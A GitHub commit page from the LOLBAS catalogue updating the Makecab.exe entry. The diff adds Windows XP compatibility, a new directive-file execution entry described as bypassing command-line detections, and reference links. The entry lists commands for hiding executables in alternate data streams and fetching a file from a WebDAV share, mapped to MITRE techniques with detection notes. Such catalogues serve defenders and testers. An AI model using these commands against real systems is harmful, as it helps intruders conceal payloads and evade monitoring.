Skip to content

Commit

Permalink
Makecab - LOLBAS command, more information about Windows compatibility (
Browse files Browse the repository at this point in the history
#389)

---------
Co-authored-by: Wietze <wietze@users.noreply.github.com>
  • Loading branch information
TAbdiukov authored Aug 17, 2024
1 parent 5826e4d commit 5b12df2
Showing 1 changed file with 16 additions and 4 deletions.
20 changes: 16 additions & 4 deletions yml/OSBinaries/Makecab.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
---
Name: Makecab.exe
Description: Binary to package existing files into a cabinet (.cab) file
Author: 'Oddvar Moe'
Author: Oddvar Moe
Created: 2018-05-25
Commands:
- Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
Expand All @@ -10,7 +10,7 @@ Commands:
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
Expand All @@ -19,7 +19,7 @@ Commands:
Category: ADS
Privileges: User
MitreID: T1564.004
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
Expand All @@ -28,7 +28,16 @@ Commands:
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
- Command: makecab /F directives.ddf
Description: Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
Usecase: Bypass command-line based detections
Category: Execute
Privileges: User
MitreID: T1036
OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Tags:
- Type: Compression
Full_Path:
Expand All @@ -41,6 +50,9 @@ Detection:
- IOC: Makecab storing data into alternate data streams
Resources:
- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- Link: https://ss64.com/nt/makecab-directives.html
- Link: https://www.pearsonhighered.com/assets/samplechapter/0/7/8/9/0789728583.pdf
- Link: https://learn.microsoft.com/en-us/previous-versions/bb417343(v=msdn.10)#makecab-application
Acknowledgement:
- Person: Oddvar Moe
Handle: '@oddvarmoe'

0 comments on commit 5b12df2

Please sign in to comment.